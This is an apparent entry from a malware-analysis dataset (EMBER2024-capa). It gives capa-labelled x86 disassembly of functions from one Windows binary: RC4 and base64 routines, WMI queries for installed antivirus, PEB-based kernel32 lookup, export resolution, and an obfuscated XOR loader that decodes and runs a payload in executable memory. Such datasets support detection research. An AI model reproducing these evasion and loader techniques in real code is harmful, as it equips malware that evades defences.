joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4022cc
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
xor edi, edi
xor esi, esi
push ebx
mov dword [ebp + esi*4 - 0x410], esi
call fcn.0040f399
pop ecx
mov ecx, eax
xor edx, edx
mov eax, esi
div ecx
inc esi
movzx eax, byte [edx + ebx]
mov dword [ebp + esi*4 - 0x814], eax
cmp esi, 0x100
jl 0x4022df
xor edx, edx
mov ecx, dword [ebp + edx - 0x810]
lea eax, [ebp + edx - 0x410]
mov esi, dword [eax]
add ecx, esi
add edi, ecx
and edi, 0x800000ff
jns 0x40232f
dec edi
or edi, 0xffffff00
inc edi
lea ecx, [ebp + edi*4 - 0x410]
mov ebx, dword [ecx]
add edx, 4
mov dword [eax], ebx
mov dword [ecx], esi
cmp edx, 0x400
jl 0x40230b
push dword [ebp + 8]
call fcn.0040f399
inc eax
push eax
call sub.msvcrt.dll_void____cdecl_operator_new___unsigned_int_
push dword [ebp + 8]
mov esi, eax
xor edi, edi
mov dword [ebp - 8], esi
xor ebx, ebx
mov dword [ebp - 4], edi
call fcn.0040f399
add esp, 0xc
test eax, eax
jle 0x40240f
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 8]
sub eax, esi
mov dword [ebp - 0xc], eax
jmp 0x402385
mov ebx, dword [ebp - 0x10]
inc edi
and edi, 0x800000ff
jns 0x402396
dec edi
or edi, 0xffffff00
inc edi
lea eax, [ebp + edi*4 - 0x410]
mov ecx, dword [eax]
lea edx, [ecx + ebx]
and edx, 0x800000ff
jns 0x4023b2
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 0x10], edx
lea edx, [ebp + edx*4 - 0x410]
mov ebx, dword [edx]
mov dword [eax], ebx
mov dword [edx], ecx
mov eax, dword [eax]
add eax, ecx
and eax, 0x800000ff
jns 0x4023d4
dec eax
or eax, 0xffffff00
inc eax
mov cl, byte [esi]
movzx edx, cl
lea eax, [ebp + eax*4 - 0x410]
cmp dword [eax], edx
jne 0x4023ec
mov eax, dword [ebp - 0xc]
mov byte [eax + esi], cl
jmp 0x4023f6
mov al, byte [eax]
xor al, cl
mov ecx, dword [ebp - 0xc]
mov byte [ecx + esi], al
push dword [ebp + 8]
inc dword [ebp - 4]
inc esi
call fcn.0040f399
pop ecx
cmp dword [ebp - 4], eax
jl 0x402382
mov esi, dword [ebp - 8]
mov eax, dword [ebp - 4]
mov byte [esi + eax], 0
mov eax, dword [ebp + 0x10]
pop edi
mov dword [eax], esi
pop esi
pop ebx
leave
ret

Function at 0x402420
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4e24
call fcn.00416620
push ebx
push esi
push edi
xor ebx, ebx
push 0x4e1f
lea eax, [ebp - 0x4e23]
push ebx
push eax
mov byte [ebp - 0x4e24], bl
call sub.msvcrt.dll_memset
mov edi, dword [ebp + 8]
add esp, 0xc
push ebx
push ebx
lea eax, [ebp - 4]
push eax
push ebx
push 1
push edi
mov dword [ebp - 4], ebx
call fcn.0040f399
mov esi, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
pop ecx
push eax
push edi
call esi
push ebx
push ebx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x4e24]
push eax
push 1
push edi
call fcn.0040f399
pop ecx
push eax
push edi
call esi
pop edi
pop esi
test eax, eax
pop ebx
lea eax, [ebp - 0x4e24]
jne 0x402499
mov eax, 0x4226ec
leave
ret
Function at 0x404cf7
Capabilities:
Check http status code

Disassembly:
mov eax, 0x41d0ea
call sub.msvcrt.dll__EH_prolog
sub esp, 0x978
push ebx
push esi
xor ebx, ebx
push edi
mov dword [ebp - 0x14], ebx
sub esp, 0xc
lea eax, [ebp + 0xc]
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
mov dword [ebp - 4], 2
call fcn.0040e126
lea eax, [ebp - 0xb4]
push eax
call fcn.00403a07
add esp, 0x10
push 0xf
pop ecx
mov esi, eax
lea edi, [ebp - 0x78]
rep movsd dword es:[edi], dword [esi]
push 0x4239d6
lea ecx, [ebp - 0x30]
call fcn.0040e0ef
push ebx
push ebx
push ebx
push 1
lea ecx, [ebp + 0x18]
mov byte [ebp - 4], 3
call fcn.0040e326
push eax
call dword [0xb3b3e0]
push dword [0xb2a6b8]
mov dword [ebp - 0x10], eax
push dword [ebp - 0x74]
xor esi, esi
call dword [0xb3b4bc]
test eax, eax
jne 0x404d7e
inc esi
cmp dword [ebp - 0x10], ebx
je 0x404ec2
push ebx
push ebx
push 3
push ebx
push ebx
push dword [ebp - 0x60]
push dword [ebp - 0x68]
push dword [ebp - 0x10]
call dword [0xb3b4e0]
mov dword [ebp - 0x1c], eax
cmp eax, ebx
je 0x404eb9
mov eax, esi
neg eax
push ebx
sbb eax, eax
and eax, 0x800000
add eax, 0x400100
push eax
push ebx
push ebx
push dword [0xb2a508]
push dword [ebp - 0x4c]
push 0x423b0c
push dword [ebp - 0x1c]
call dword [0xb3b514]
mov edi, eax
cmp edi, ebx
je 0x404eb0
cmp esi, ebx
je 0x404df6
or dword [ebp - 0x20], 0x10300
push 4
lea eax, [ebp - 0x20]
push eax
push 0x1f
push edi
call dword [0xb3b2e8]
push ebx
push ebx
push ebx
push ebx
push edi
call dword [0xb3b4a8]
push ebx
mov esi, eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1b4]
push eax
push 0x13
push edi
mov dword [ebp - 0x18], 0x100
call dword [0xb3b52c]
test eax, eax
jne 0x404e35
mov ecx, dword [ebp + 8]
push 0x423b10
call fcn.0040e0ef
jmp 0x404ece
lea eax, [ebp - 0x1b4]
push eax
call fcn.0040f2fe
pop ecx
cmp eax, 0xc8
jne 0x404f0a
cmp esi, ebx
je 0x404ea9
mov esi, 0x7cf
jmp 0x404e92
mov eax, dword [ebp - 0x24]
cmp eax, ebx
je 0x404ea9
mov byte [ebp + eax - 0x984], bl
lea eax, [ebp - 0x984]
push eax
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040e268
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 4
call fcn.0040e1ad
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 3
call fcn.0040e15a
lea eax, [ebp - 0x24]
push eax
push esi
lea eax, [ebp - 0x984]
push eax
push edi
call dword [0xb3b408]
cmp eax, ebx
jne 0x404e58
push edi
call dword [0xb3b3dc]
push dword [ebp - 0x1c]
call dword [0xb3b3dc]
push dword [ebp - 0x10]
call dword [0xb3b3dc]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x30]
push eax
call fcn.0040e126
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], 1
mov byte [ebp - 4], 2
call fcn.0040e15a
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.0040e15a
lea ecx, [ebp + 0x18]
mov byte [ebp - 4], bl
call fcn.0040e15a
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
mov ecx, dword [ebp + 8]
push 0x423b18
call fcn.0040e0ef
jmp 0x404ece
Function at 0x405782
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push dword [ebp + 0xc]
push 0x40
push 0
push esi
call dword [ebp + 8]
add esp, 0x10
test eax, eax
jne 0x4057a0
xor eax, eax
inc eax
jmp 0x405832
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x40582f
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x40582f
push dword [ebp + 0xc]
lea edi, [esi + 0x40]
push 0xf8
push eax
push edi
call dword [ebp + 8]
add esp, 0x10
test eax, eax
je 0x405798
cmp dword [edi], 0x4550
jne 0x40582f
mov eax, 0x10b
cmp word [esi + 0x58], ax
jne 0x40582f
movzx eax, word [esi + 0x46]
test ax, ax
je 0x40582f
imul eax, eax, 0x28
push eax
mov dword [esi + 0x140], eax
call fcn.0040f382
pop ecx
mov dword [esi + 0x138], eax
test eax, eax
jne 0x405806
push 3
jmp 0x405831
push dword [ebp + 0xc]
movzx ecx, word [esi + 0x54]
mov edx, dword [esi + 0x3c]
push dword [esi + 0x140]
lea ecx, [ecx + edx + 0x18]
push ecx
push eax
mov dword [esi + 0x13c], ecx
call dword [ebp + 8]
add esp, 0x10
neg eax
sbb eax, eax
inc eax
jmp 0x405832
push 2
pop eax
pop edi
pop ebp
ret

Function at 0x405e18
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x405e52
mov eax, dword [ecx + 0x3c]
cmp dword [eax + ecx], 0x4550
jne 0x405e52
mov edx, 0x10b
cmp word [eax + ecx + 0x18], dx
jne 0x405e52
push dword [ebp + 0xc]
push ecx
push dword [eax + ecx + 0x78]
call fcn.00405d7c
add esp, 0xc
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x40f047
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
mov eax, 0x41e792
call sub.msvcrt.dll__EH_prolog
sub esp, 0x3c
push esi
xor esi, esi
push esi
push esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push esi
push esi
push esi
push 3
push esi
push esi
push esi
push 0xffffffffffffffff
push esi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea eax, [ebp - 0x14]
push eax
push 0x424e00
push 1
push esi
push 0x424ed0
mov dword [ebp - 0x14], esi
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
push edx
push esi
push esi
push esi
push esi
push esi
push esi
push str.ROOTCIMV2
mov dword [ebp - 0x10], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x40f1b3
push esi
push esi
push 3
push 3
push esi
push esi
push 0xa
push dword [ebp - 0x10]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x18]
push edx
push esi
push 0x20
push str.Select__From_Win32_OperatingSystem
push 0x4242a8
mov dword [ebp - 0x18], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x40f1ac
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
cmp eax, esi
je 0x40f1c3
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
lea edx, [ebp - 0x20]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x1c], esi
je 0x40f1c3
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
push esi
push esi
lea edx, [ebp - 0x48]
push edx
push esi
push str.InstallDate
push eax
mov dword [ebp - 4], esi
call dword [ecx + 0x10]
push 1
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x40]
call fcn.0040efad
add esp, 0xc
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push 0x104
push esi
call dword [0xb3b4e4]
push eax
call dword [0xb3b47c]
mov esi, eax
movzx eax, word [ebp - 0x2c]
push eax
movzx eax, word [ebp - 0x2e]
push eax
movzx eax, word [ebp - 0x30]
push eax
movzx eax, word [ebp - 0x38]
push eax
movzx eax, word [ebp - 0x36]
push eax
movzx eax, word [ebp - 0x32]
push eax
push str._d__d__d__d:_d:_d
push esi
call dword [0xb3b30c]
mov ecx, dword [ebp + 8]
add esp, 0x20
push esi
call fcn.0040e0ef
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x40f1c0
push 0x4242dc
jmp 0x40f1b8
push 0x4242e4
mov ecx, dword [ebp + 8]
call fcn.0040e0ef
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x40f1d0
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
mov eax, 0x41e7a4
call sub.msvcrt.dll__EH_prolog
sub esp, 0x24
push esi
xor esi, esi
push esi
push esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push esi
push esi
push esi
push 3
push esi
push esi
push esi
push 0xffffffffffffffff
push esi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea eax, [ebp - 0x14]
push eax
push 0x424e00
push 1
push esi
push 0x424ed0
mov dword [ebp - 0x14], esi
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
push edx
push esi
push esi
push esi
push esi
push esi
push esi
push str.rootSecurityCenter2
mov dword [ebp - 0x10], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x40f2d8
push esi
push esi
push 3
push 3
push esi
push esi
push 0xa
push dword [ebp - 0x10]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x18]
push edx
push esi
push 0x20
push str.Select__From_AntiVirusProduct
push 0x424358
mov dword [ebp - 0x18], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x40f2d1
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
cmp eax, esi
je 0x40f2e8
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
lea edx, [ebp - 0x20]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x1c], esi
je 0x40f2e8
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
push esi
push esi
lea edx, [ebp - 0x30]
push edx
push esi
push str.displayName
push eax
mov dword [ebp - 4], esi
call dword [ecx + 0x10]
push dword [ebp - 0x28]
call fcn.0040f514
pop ecx
mov ecx, dword [ebp + 8]
push eax
call fcn.0040e0ef
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x40f2e5
push 0x424378
jmp 0x40f2dd
push str.Unknown
mov ecx, dword [ebp + 8]
call fcn.0040e0ef
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x40fb5a
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov ecx, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov dword [ebp - 0x18], ecx
lea eax, [ebp - 0x20]
mov ecx, 0x414
push eax
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x14], 0x424399
mov word [ebp - 0x10], cx
mov dword [ebp - 6], 0x42439a
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
leave
ret
Function at 0x4111ce
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
mov eax, 0x41eaa6
call sub.msvcrt.dll__EH_prolog
push ecx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.0040e126
and dword [ebp - 4], 0
lea eax, [edi + 0xc]
push eax
lea ecx, [esi + 0xc]
call fcn.0040e126
lea eax, [edi + 0x18]
push eax
lea ecx, [esi + 0x18]
mov byte [ebp - 4], 1
call fcn.0040e126
mov eax, dword [edi + 0x24]
mov dword [esi + 0x24], eax
mov eax, dword [edi + 0x28]
mov dword [esi + 0x28], eax
mov eax, dword [edi + 0x2c]
mov dword [esi + 0x2c], eax
mov eax, dword [edi + 0x30]
add edi, 0x34
push edi
lea ecx, [esi + 0x34]
mov byte [ebp - 4], 2
mov dword [esi + 0x30], eax
call fcn.0040e126
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 4

Function at 0x41299f
Capabilities:
Create thread

Disassembly:
mov eax, 0x41ef87
call sub.msvcrt.dll__EH_prolog
sub esp, 0x48
push ebx
xor ebx, ebx
push esi
mov dword [ebp - 0x10], ebx
lea ecx, [ebp - 0x54]
mov dword [ebp - 4], 2
call fcn.004118db
test byte [0xb3b2a8], 1
mov eax, dword [ebp + 0x30]
mov byte [ebp - 4], 3
je 0x4129d5
mov eax, dword [ebp + 0x34]
mov dword [ebp - 0x54], eax
lea eax, [ebp + 0x74]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040e1ad
mov eax, dword [ebp + 0x80]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x84]
mov dword [ebp - 0x1c], eax
lea eax, [ebp + 0x38]
push eax
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
call fcn.0040e1ad
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x44]
call fcn.0040e1ad
lea eax, [ebp + 0x18]
push eax
lea ecx, [ebp - 0x38]
call fcn.0040e1ad
mov esi, 0x3e8
jmp 0x412a2e
push esi
call dword [0xb3b324]
cmp dword [0xb3b2a8], 2
jae 0x412a27
inc dword [0xb3b2a8]
push ebx
push ebx
lea eax, [ebp - 0x54]
push eax
push 0x4117a1
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp + 8]
push 0x4244a2
call fcn.0040e0ef
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x10], 1
mov byte [ebp - 4], 2
call fcn.00411927
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.004010d8
lea ecx, [ebp + 0x74]
mov byte [ebp - 4], bl
call fcn.0040e15a
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x413d6c
Capabilities:
Get disk information

Disassembly:
mov eax, 0x41f303
call sub.msvcrt.dll__EH_prolog
sub esp, 0x454
push ebx
push esi
push edi
xor ebx, ebx
xor esi, esi
push ebx
inc esi
push 0x424780
lea ecx, [ebp + 0x7c]
mov dword [ebp - 4], esi
xor edi, edi
mov dword [ebp - 0x10], ebx
call fcn.0040e326
push eax
call dword [0xb3b418]
test eax, eax
je 0x413da7
mov edi, esi
push ebx
push 0x424790
lea ecx, [ebp + 0x7c]
call fcn.0040e326
push eax
call dword [0xb3b418]
test eax, eax
je 0x413dc5
mov edi, esi
mov dword [ebp - 0x10], esi
cmp edi, ebx
je 0x413ed5
lea eax, [ebp - 0x78]
push eax
push 0x64
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea esi, [ebp - 0x78]
cmp byte [ebp - 0x78], bl
je 0x413f35
push 0x3e8
lea eax, [ebp - 0x460]
push ebx
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp dword [ebp - 0x10], ebx
je 0x413e29
cmp eax, 2
jne 0x413e29
lea ecx, [ebp + 0x7c]
call fcn.0040e326
push eax
lea eax, [ebp - 0x460]
push eax
call dword [0xb3b528]
push esi
push str._DRIVE_REMOVABLE_
jmp 0x413e45
lea ecx, [ebp + 0x7c]
call fcn.0040e326
push eax
lea eax, [ebp - 0x460]
push eax
call dword [0xb3b528]
push esi
push str._DRIVE_FIXED_
lea eax, [ebp - 0x460]
push eax
call fcn.0040f740
add esp, 0xc
push eax
lea eax, [ebp - 0x460]
push eax
call dword [0xb3b528]
push ebx
push dword [ebp + 0xa0]
lea ecx, [ebp + 0x88]
push edi
push dword [ebp + 0x98]
push ebx
push dword [ebp + 0x94]
call fcn.0040e326
push eax
lea eax, [ebp - 0x460]
push eax
lea ecx, [ebp + 0x70]
call fcn.0040e326
push eax
push 0x424466
lea ecx, [ebp + 0xa4]
call fcn.0040e326
push eax
sub esp, 0x68
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
call fcn.00401128
call fcn.004139af
add esp, 0x94
push esi
call dword [0xb3b3a0]
lea esi, [esi + eax + 1]
cmp byte [esi], bl
jne 0x413de5
jmp 0x413f35
push ebx
push dword [ebp + 0xa0]
lea ecx, [ebp + 0x88]
push ebx
push dword [ebp + 0x98]
push ebx
push dword [ebp + 0x94]
call fcn.0040e326
push eax
lea ecx, [ebp + 0x7c]
call fcn.0040e326
push eax
lea ecx, [ebp + 0x70]
call fcn.0040e326
push eax
push 0x424467
lea ecx, [ebp + 0xa4]
call fcn.0040e326
push eax
sub esp, 0x68
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
call fcn.00401128
call fcn.004139af
add esp, 0x94
mov eax, dword [ebp + 0xb0]
lea ecx, [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 4], bl
call fcn.004010d8
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x70]
call fcn.0041117e
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x4156e1
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
leave
ret
Function at 0x415704
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov ecx, dword [ebp + 8]
test ecx, ecx
jne 0x415714
xor eax, eax
leave
ret
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x415710
mov eax, dword [ecx + 0x3c]
cmp dword [eax + ecx], 0x4550
jne 0x415710
and dword [ebp - 4], 0
push ebx
push esi
mov esi, dword [eax + ecx + 0x78]
add esi, ecx
mov ebx, dword [esi + 0x1c]
mov eax, dword [esi + 0x24]
push edi
mov edi, dword [esi + 0x20]
add eax, ecx
add ebx, ecx
add edi, ecx
cmp dword [esi + 0x18], 0
mov dword [ebp - 8], eax
ja 0x415759
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 4]
mov eax, dword [edi + eax*4]
push dword [ebp + 0xc]
add eax, ecx
push eax
call fcn.0040fbb5
pop ecx
pop ecx
test eax, eax
je 0x41577d
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [esi + 0x18]
jb 0x415756
jmp 0x41574f
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
movzx eax, word [eax + ecx*2]
mov eax, dword [ebx + eax*4]
add eax, dword [ebp + 8]
jmp 0x415751

Function at 0x418d97
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x929520]
jne 0x418da1
repz ret
jmp fcn.0041baaf
Function at 0x41c287
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x929520]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004186ba
and dword [ebp - 0x14], 0
cmp dword [0xb3c0fc], 0
mov dword [ebp - 0x18], eax
jne 0x41c33a
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41c3e2
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41c3e2
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0xb3c0fc], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0xb3c100], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0xb3c104], eax
call edi
push eax
call esi
mov dword [0xb3c10c], eax
test eax, eax
je 0x41c33a
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0xb3c108], eax
mov eax, dword [0xb3c108]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41c393
cmp dword [0xb3c10c], ecx
je 0x41c393
push eax
call esi
push dword [0xb3c10c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41c393
test ebx, ebx
je 0x41c393
call edi
test eax, eax
je 0x41c38a
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41c38a
test byte [ebp - 8], 1
jne 0x41c393
or dword [ebp + 0x10], 0x200000
jmp 0x41c3c6
mov eax, dword [0xb3c100]
cmp eax, dword [ebp - 0x18]
je 0x41c3c6
push eax
call esi
test eax, eax
je 0x41c3c6
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41c3c6
mov eax, dword [0xb3c104]
cmp eax, dword [ebp - 0x18]
je 0x41c3c6
push eax
call esi
test eax, eax
je 0x41c3c6
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0xb3c0fc]
call esi
test eax, eax
je 0x41c3e2
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41c3e4
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00418d97
leave
ret
Function at 0x1001305b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x1001306a
pop dword [ebp - 0x14]
mov eax, 0x5ceb741f
sub eax, 0x4cea43b5
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x8d286f36
sub dword [ebp - 0x24], 0x3ed629eb
mov dword [ebp - 0x20], 0x1000f165
add dword [ebp - 0x20], 0x22325ae0
mov dword [ebp - 0x1c], 0xdcdfc1fa
sub dword [ebp - 0x1c], 0x90937dcc
mov dword [ebp - 0x18], 0x4b647b9
sub dword [ebp - 0x18], 0x4b647b9
lea eax, [ebp - 0x24]
push eax
mov eax, 0xe7c3dac9
sub eax, 0xd7c1dac5
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x5e2d92de
add dword [ebp - 0x24], 0x1644d678
mov dword [ebp - 0x20], 0x20b6d670
sub dword [ebp - 0x20], 0xdf4a74fb
mov dword [ebp - 0x1c], 0xd46444d
sub dword [ebp - 0x1c], 0xa9d6d7e1
mov dword [ebp - 0x18], 0xb8902d52
add dword [ebp - 0x18], 0x476fd2ae
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x49593c67
add eax, 0xc6a8c399
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3c15b
push 0
call eax
mov ecx, 0xea74be4c
sub ecx, 0xea74791f
mov edi, eax
mov esi, 0xa0e61eda
add esi, 0x6f1c9d26
add esi, dword [ebp - 0x14]
mov ebx, 0x14637078
add ebx, 0x9a1fe9c6
sub dword [ebp - 4], 0x32198043
mov edx, dword [esi]
mov dword [ebp - 4], 0x139ae050
xor edx, ebx
mov dword [ebp - 0x10], 0x1153cb8b
mov dword [edi], edx
xor dword [ebp - 0xc], 0xf05d4be8
add edi, 0xc3d5f1a6
sub edi, 0xc3d5f1a2
add esi, 0x6ac80a54
sub esi, 0x6ac80a50
loop 0x1001318c
add eax, 0x7220129b
add eax, 0x8de0f4ec
mov ebx, eax
add eax, 0x26e15f0f
add eax, 0xd91ea0f6
mov ecx, 0x10000000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret